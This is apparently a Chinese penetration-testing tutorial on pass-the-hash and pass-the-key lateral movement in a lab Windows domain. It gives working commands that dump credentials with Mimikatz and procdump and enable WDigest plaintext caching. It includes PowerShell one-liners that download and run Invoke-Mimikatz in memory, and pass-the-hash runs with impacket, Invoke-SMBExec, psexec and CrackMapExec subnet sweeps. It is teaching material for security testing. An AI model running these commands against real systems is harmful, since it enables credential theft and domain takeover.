0x00 前言

横向渗透中的哈希传递攻击,这一部分在内网渗透中是十分关键的。在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域/工作组环境。

下面我们先来了解一些基础概念,然后再进行实战攻击。

0x01 基础概念

什么是PTH攻击

哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统。 攻击者无须通过解密hash值来获取明文密码。因为对于每个Session hash值都是固定的,除非密码被修改了(需要刷新缓存才能生效),所以pth可以利用身份验证协议来进行攻击。 攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。

虽然哈希传递攻击可以在Linux,Unix和其他平台上发生,但它们在windows系统上最普遍。 在Windows中,pth通过NT Lan Manager(NTLM),Kereros和其他身份验证协议来进行单点登录。在Windows中创建密码后,密码经过哈希化处理后存储在安全账户管理器(SAM),本地安全机构子系统(LSASS)进程内存,凭据管理器(CredMan),Active Directory中的ntds.dit数据库或者其他地方。因此,当用户登录windows工作站或服务器时,他们实际上会留下密码凭据(hash)。

PTH 的影响

从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash。在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,只能读取哈希值。虽然此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

然后强制要求lsass.exe来缓存明文密码再进行抓取,但是这种方式要求系统重启或者用户重新登录,在实战中操作起来成功率还是比较低的。

通过明文密码来横向移动是极其有效的,一个是通用弱口令,一个是密码规律的猜测,在大量机器的环境中都是很可能存在的,但是随着系统版本迭代,我们获取到明文密码的难度越来越大,但是hash的获取是固定存在的,因为window中经常需要用hash来进行验证和交互。所以利用hash来进行横向移动在内网渗透中经常充当主力的角色。

Hash的认识

既然是pass the hash,那么我就先来了解一下什么是Windows中的Hash。

在前面写了几遍有关于NTLM的文章,大家可以结合起来一起学习:

使用Responder进行NTLM重放攻击

Windows认证与域渗透

LM Hash

LM(LAN Mannager) 协议使用的hash就叫做 LM Hash, 由IBM设计和提出, 在过去早期使用。

由于其存在比较多的缺点,比较容易破解。

自WindowsVista和Windows Server 2008开始,Windows取消LM hash。

但是在win2003中还是存在的,通过爆破LM Hash来获取明文还是比较可行的。

1

  1. LM Hash生成过程
  • 用户的密码被限制为最多14个字符。
  • 用户的密码转换为大写。
  • 密码转换为16进制字符串,不足14字节将会用0来再后面补全。
  • 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度,再分7bit为一组末尾加0,组成新的编码(str_to_key()函数处理)
  • 上步骤得到的8byte二组,分别作为DES key为"KGS!@#$%“进行加密。
  • 将二组DES加密后的编码拼接,得到最终LM HASH值。

下面是python写的加密脚本:

# coding=utf-8
import base64
import binascii
from pyDes import *


def DesEncrypt(str, Des_Key):
    k = des(Des_Key, ECB, pad=None)
    EncryptStr = k.encrypt(str)
    return binascii.b2a_hex(EncryptStr)


def Zero_padding(str):
    b = []
    l = len(str)
    num = 0
    for n in range(l):
        if (num < 8) and n % 7 == 0:
            b.append(str[n:n + 7] + '0')
            num = num + 1
    return ''.join(b)


if __name__ == "__main__":

    test_str = "123456"
    # 用户的密码转换为大写,并转换为16进制字符串
    test_str = test_str.upper().encode('hex')
    str_len = len(test_str)

    # 密码不足14字节将会用0来补全
    if str_len < 28:
        test_str = test_str.ljust(28, '0')

    # 固定长度的密码被分成两个7byte部分
    t_1 = test_str[0:len(test_str) / 2]
    t_2 = test_str[len(test_str) / 2:]

    # 每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
    t_1 = bin(int(t_1, 16)).lstrip('0b').rjust(56, '0')
    t_2 = bin(int(t_2, 16)).lstrip('0b').rjust(56, '0')

    # 再分7bit为一组末尾加0,组成新的编码
    t_1 = Zero_padding(t_1)
    t_2 = Zero_padding(t_2)
    print t_1
    t_1 = hex(int(t_1, 2))
    t_2 = hex(int(t_2, 2))
    t_1 = t_1[2:].rstrip('L')
    t_2 = t_2[2:].rstrip('L')

    if '0' == t_2:
        t_2 = "0000000000000000"
    t_1 = binascii.a2b_hex(t_1)
    t_2 = binascii.a2b_hex(t_2)

    # 上步骤得到的8byte二组,分别作为DES key为"KGS!@#$%"进行加密。
    LM_1 = DesEncrypt("KGS!@#$%", t_1)
    LM_2 = DesEncrypt("KGS!@#$%", t_2)

    # 将二组DES加密后的编码拼接,得到最终LM HASH值。
    LM = LM_1 + LM_2
    print LM

因为在windows 7以上的版本是默认不启用LM hash的,所以要手动修改。

gpedit.msc-计算机配置-Windows 设置-安全设置-本地策略-安全选项

找到网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值,选择已禁用

系统下一次更改密码后,就能够导出LM hash。

在我测试环境的系统发现这一项都默认启用而且不能修改

  1. LM Hash的缺点
  • 密码长度最大只能为14个字符

  • 密码不区分大小写(加密过程统一转换为大写,导致的)

  • 加密结果后16位为aad3b435b51404ee,则说明密码强度小于7位。(如果不够7位的话,后面需要用0来补全)

NTLM Hash

为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。

也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NTLM Hash,LM Hash将不再存在。如果空密码或者不储蓄LM Hash的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE。

所以在真实环境中我们看到抓到LM Hash都是AAD3B435B51404EEAAD3B435B51404EE,这里的LM Hash并没有价值。

NTLM Hash 生成过程

  1. 先将用户密码转换为十六进制格式。
  2. 将十六进制格式的密码进行Unicode编码。
  3. 使用MD4摘要算法对Unicode编码数据进行Hash计算

可以使用python进行生成:

python2 -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "admin".encode("utf-16le")).digest())'

NTLM hash本地的认证

当用户注销、重启、锁屏之后,windows会让winlogon显示登陆界面,接收用户的输入之后,会将将密码交付给lsass进程,这个进程会将明文密码加密成NTLM hash,再与SAM数据库里对应的用户密码做对比。

  • winlogon(Windows logon process)windows注册进程:是windows NT 用户的登陆程序,用于管理用户的登陆与退出
  • lsass( Local Security Authority Service): 用于本地安全与登陆策略
  • SAM(Security Account Manager 安全账户管理):windows采用的账户管理策略,这个策略会将本地组的用户的账户和hash加密之后保存到SAM数据库中,SAM数据库文件路径是%systemroot%\system32\config\SAM文件

本机的用户密码hash是放在本地的SAM文件里面,域内用户的密码hash存在域控的NTDS.DIT文件的。

关于NTLM的认证协议这里就不再具体展开了,可以查阅Windows内网协议学习NTLM篇之NTLM基础介绍

这里只要我们知道LM Hash已经不在新的系统中使用了,我们pth主要的攻击是针对NTLM Hash。

0x02 实战

攻击思路

首先我们假设拿到了一台内网机器,这台内网机器可能是域用户可能也是本地用户,首先要通过提权到system权限才可以导出hash值,然后利用本地保存的hash去登录内网的其他机器,还可以执行批量的操作。

在域环境中,利用pass the hash的渗透方式往往是这样的:

  1. 获得一台域主机的权限
  2. Dump内存获得用户hash
  3. 通过pass the hash尝试登录其他主机
  4. 继续搜集hash并尝试远程登录
  5. 直到获得域管理员账户hash,登录域控,最终成功控制整个域

比如我们现在的环境是:

DC:172.16.0.106(域管用户testuser)

Win7:172.16.0.105(本地管理员sc92n)

域:hack.lab

我们需要从win 7登录到DC,现在我们先去利用工具获取到hash的值。

获取Hash

我们进行pth的过程需要获取到相关的hash才可以进行。

Mimikatz

可以到GitHub下载新版的:https://github.com/gentilkiwi/mimikatz

读取lsass进程的信息:

privilege::debug
sekurlsa::msv

如下图:

3

当然也可以用下面的命令获取全部用户的密钥和明文:

privilege::debug
sekurlsa::logonPasswords

如下图:

2

读取SAM数据库获取用户Hash,获取系统所有本地用户的hash:

privilege::debug
token::elevate
lsadump::sam

如下图:

4

也可以使用dcsync功能导出域内的所有hash:

lsadump::dcsync /domain:test.local /all /csv

Cobalt Strike

这块没有测试的环境就不再展开,相信熟悉cs的小伙伴也知道这个功能,具体功能在:

选中客户端列表->右键选择Access的模块中的Dump Hashes

读取到的凭证可以在菜单栏的view-Credentials中查看。

  • 导出域内的所有hash可以使用Beacon的hashdump。

  • 导出域内的所有hash可以使用Beacon的dcsync

查询域内所有hash
dcsync [DOMAIN.FQDN]
查询指定用户hash
dcsync [DOMAIN.FQDN] [DOMAIN\user]

Invoke-Mimikatz.ps1

这个是mimikatz的powershell版本,也经常用于在内网渗透中,相对于exe的版本会方便许多。

该脚本集成在PowerSploit项目中,下载地址:Invoke-Mimikatz.ps1

这个工具在另外一篇文章有写过具体的用法Powershell在渗透测试中的利用

  • 无文件读取方式

    powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
    
  • 读取sam数据库

    powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command \"privilege::debug token::elevate  lsadump::sam exit\""
    

在这里插一点内容,主要是获取域用户的hash值,也可以使用EmpireInvoke-DCSync.ps1工具来获取:

导出域内所有用户的hash
Invoke-DCSync -DumpForest | ft -wrap -autosize
导出指定账户的hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

CrackMapExec

该工具也可以导出hash,而且还是批量的,具体在官方gitbook上写得很明细了,这里不再展开,后续会专门写一遍关于该工具的文章。

安装方法:

https://mpgn.gitbook.io/crackmapexec/getting-started/installation

导出凭证(需要有管理员权限):

https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials

转储lsass进程

因为我们的凭证除了报错在sam文件中,还可以在lsass进程保存,现在找到lsass进程,然后创建转储文件:

5

一般会保存在C:\Users\用户名\AppData\Local\Temp\lsass.DMP

将该文件下载回来放置在Mimikatz的同目录下,然后执行:

sekurlsa::minidump lsass.DMP
sekurlsa::logonPasswords full

当然我们也可以使用procdump这个程序来导出lsass.dmp,只需在命令行获取system权限操作即可。

该工具是微软官方的一款工具:Download ProcDump

执行以下命令即可导出lass.dmp:

32位机器:procdump.exe -accepteula -ma lsass.exe lsass.dmp 
64位机器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

Pass The Hash

如果内网主机的本地管理员账户密码相同,那么可以通过pass the hash远程登录到任意一台主机,操作简单、威力无穷。

下面会使用几种方法来进行攻击,用到的工具有Smbmap、CrackMapExec、Smbexec等。

比如我们现在的环境是:

DC:172.16.0.106(域管用户testuser)

Win7:172.16.0.105(从这台获取到了hash)

kali:172.16.0.107

域:hack.lab

testuser的hash:de26cce0356891a4a020e7c4957afc72

Smbmap

SMBMAP允许用户在整个域中枚举Samba共享驱动器。列出共享驱动器,驱动程序权限,共享内容,上载/下载功能,文件名自动下载模式匹配,甚至执行远程命令。

下载:

git clone https://github.com/ShawnDEvans/smbmap
cd smbmap

安装一下模块:

python3 -m pip install -r requirements.txt

这款工具kali也有内置,我们可以直接使用:

smbmap -u testuser -p 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72' -H 172.16.0.106 -d hack.lab -x 'whoami'

aad3b435b51404eeaad3b435b51404ee上我们讲过是LM hash默认的值

如下图所示:

6

smbexec.py

smbexec.py是impacket里面的一个工具,在kali是已经预装好的,如果没有安装可以用以下命令进行安装:

python3 -m pip install impacket

发起pth攻击命令如下:

smbexec.py hack.lab/[email protected] -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72'

结果如下图:

8

Invoke-SMBExec

当然,除了有python版本也有powershell的版本,在Invoke-TheHash项目中有个脚本文件Invoke-SMBExec.ps1,大家可以直接在上面进行下载

下载链接:Invoke-SMBExec.ps1

执行命令如下:

Import-Modle .\Invoke-SMBExec.ps1
Invoke-SMBExec -Target 172.16.0.106 -Domain hack.lab -Username testuser -Hash de26cce0356891a4a020e7c4957afc72 -Command "calc.exe" -verbose

结果如下:

9

因为这款工具执行命令不会返回结果,可以使用cs或者msf的powershell命令进行远程上线,上面的命令执行后会在目标主机生成一个当前权限的计算器:

10

Invoke-WMIExec

同样是在在Invoke-TheHash项目的一个脚本,叫做Invoke-WMIExec.ps1

用法跟上面是一致的,只是利用的方式不相同而已:

Import-Modle .\Invoke-WMIExec.ps1
Invoke-WMIExec -Target 172.16.0.106 -Domain hack.lab -Username testuser -Hash de26cce0356891a4a020e7c4957afc72 -Command "calc.exe" -verbose

wmiexec

当然还有它的python版本,也是在是impacket里面的一个工具,在kali是已经预装好的,用法跟smbexec.py是一致的:

wmiexec.py hack.lab/testuser@172.16.0.106 -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72'

结果如下图:

11

Atexec

这个就是自动化实现计划任务的方式,也是在是impacket里面的一个工具。

使用方法如下:

atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72 hack.lab/[email protected] whoami

如下图:

18

Mimikatz

又是耳熟能详的Mimikatz大杀器了,mimikatz的pth功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程lsass.exe的信息。

可以到GitHub下载新版的:https://github.com/gentilkiwi/mimikatz

可以看到我们一开始无法连接到dc服务器查看c盘下的文件:

12

我们在主机上启动我们的mimikatz工具,执行以下命令:

privilege::debug
sekurlsa::pth /user:testuser /domain:hack.lab /ntlm:de26cce0356891a4a020e7c4957afc72

15

就会弹出一个cmd命令窗口,这次我们再次输入就能重新列出dc上c盘的文件:

16

psexec

当然也少不了我们的psexec大杀器,这是在微软官方提供的一个 PsTools 工具包里面,虽然不用做免杀,但是会在系统日志中留下记录。

官方的下载地址:PsExec - Windows Sysinternals

PsExec 的基本原理是:通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成一个名为”PSEXESVC“的二进制文件,然后通过 psexec 服务运行命令,运行结束后删除服务。由于创建或删除服务时会产生大量的日志,可以在攻击溯源时通过日志反推攻击流程。

需要远程系统开启admin共享(默认是开启的),原理是基于IPC共享,目标需要开放445端口和admin在使用IPC连接目标系统后,不需要输入账户和密码。

使用方法:

PsExec.exe \\172.16.0.105 -u hack.lab\lucky -p p@ssw0rd cmd /c "ipconfig"

因为官方的工具只支持明文建立链接,所以我们可以使用python版本的,也是在Impacket工具包中的使用方法如下:

psexec.py hack.lab/[email protected] -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72'

结果如下图:

14

CrackMapExec

上面在获取hash的时候也有介绍一点,现在pth也可以利用到这款工具。本节安装在kali选的是Linux,其他版本可以到GitHub上下载CrackMapExec

安装:

sudo apt install crackmapexec

使用方法也很简单,执行以下命令即可:

crackmapexec smb 172.16.0.106 -u testuser -H de26cce0356891a4a020e7c4957afc72 -x whoami -d hack.lab

如图所示:

7

Pass The Key

在2014年微软终于发布了更新补丁kb2871997,禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享。

但是上面的描述不是很正确的,之前也有发文说这个补丁阻止了pth,三年后还发了一篇澄清文章:Pass-the-Hash Is Dead

关于这个补丁的详细分析可以参考问KB22871997是否真的能防御PTH攻击?

那么什么才叫做pass the key呢?

  1. 但是在Overpass-the-hash和三好学生中pass the hash的文章中解释的是:
  • 禁用NTLM使得psexec无法利用获得的ntlm hash进行远程连接,虽然”sekurlsa::pth”在mimikatz中被称之为”Pass The Hash”,但是其已经超越了以前的”Pass The Hash”,部分人将其命名为”Overpass-the-hash”,也就是”Pass-the-key”

  • 将哈希注入到 msv1_0kerberos 提供程序中,从而可以响应 NTLM 挑战并获得 Kerberos TGT。

  1. windows-protocol和《内网安全渗透》一书中提到的是:

    用ntlm传递那就是pass the hash,用mimikatz的sekurlsa::ekeys那就称为pass the key。

我的理解就是pass the key是用kerberos方式进行传递,pass the hash是用NTLM的方式进行传递。

我也在本地测试过,跟KB22871997是否真的能防御PTH攻击?文章的结果是一样的,有没有安装kb2871997补丁都是没办法使用加入管理员组的用户进行pth。

在文章内网渗透拿不到密码怎么办?试试Pass-The-Hash当中有个一句描述这个问题:

工作组环境下:

Windows Vista之前的机器,可以使用本地管理员组内用户进行攻击 windows Vista之后的机器,只能是administrator用户才能进行攻击,其他用户会提示拒绝访问

域环境下:

域内任意一台主机的本地管理员权限和域管理员密码的NTLM hash值,可进行pth攻击

由于Pass-The-Hash在win7的工作组环境下只支持在administrator用户的情况下才能利用,而windows默认是关闭这个用户的

所以不是因为这个补丁而导致我们用户一般情况下不能使用pth的,使用sid为500的adminisitrator确实是可以使用pth。

使用aes key的方式进行ptk是否要安装补丁呢?

在网上的文章中和《内网安全渗透》一书都有一个描述:

ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.

就是说如果不安装这个补丁就不能使用aes key的方式进行ptk,但是我在测试了无数次,在没有补丁的情况,还是可以使用ptk的方式进行传递的。

我们使用系统命令查看是否安装了该补丁:

systeminfo | findstr "kb2871997"

aes key的获取方式:

privilege::debug 
sekurlsa::ekeys

测试没有补丁的情况下:

17

补丁可以从这里下载2871997

注意这个补丁是安装在本地的

我们在有补丁测试:

13

可以看出来好像并不是因为有这个补丁而导致aes key,看上面的文章有总结到aes key的地方:

“受保护的用户”组支持(强制Kerberos身份验证以实施AES加密)
1.当“域功能级别”设置为Windows Server 2012 R2时,将创建“受保护的用户”组。
2.受保护的用户组中的帐户只能使用Kerberos协议进行身份验证,拒绝NTLM,摘要式身份验证和CredSSP。
3.Kerberos拒绝DES和RC4加密类型进行预身份验证-必须将域配置为支持AES或更高版本。
4.不能使用Kerberos约束或不受约束的委托来委托受保护用户的帐户。
5.受保护的用户可以使用“身份验证策略”很好地工作。

所以归纳总结:Pass the key就是使用AES256或者AES128的方式进行传递。

pth批量横向移动

CrackMapExec

CrackMapExec集成了wmiexec、atexe、smbexec的方式,集成了smb扫描,口令爆破等功能,非常适合拿来快速移动。

我们可以扫描内网中的445端口开放情况:

crackmapexec smb 172.16.0.100/24

如下图:

19

使用批量传递hash的命令:

crackmapexec smb 172.16.0.100/24 -u testuser -H de26cce0356891a4a020e7c4957afc72 -d hack.lab

因为我这个是域管理账户,所以都能登录,(Pwn3d!代表用户名和hash正确)

如下图:

20

Cobalt Strike

cs大家应该很熟悉了,这块我没搭环境,主要是在目标(target)当中选中目标右键选择要pth的方式即可。

0x03 参考

https://xz.aliyun.com/t/9309

http://drops.xmd5.com/static/drops/tips-11631.html

https://www.anquanke.com/post/id/193150

https://xz.aliyun.com/t/8117

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Pass-The-Hash%E7%9A%84%E5%AE%9E%E7%8E%B0

https://www.anquanke.com/post/id/193149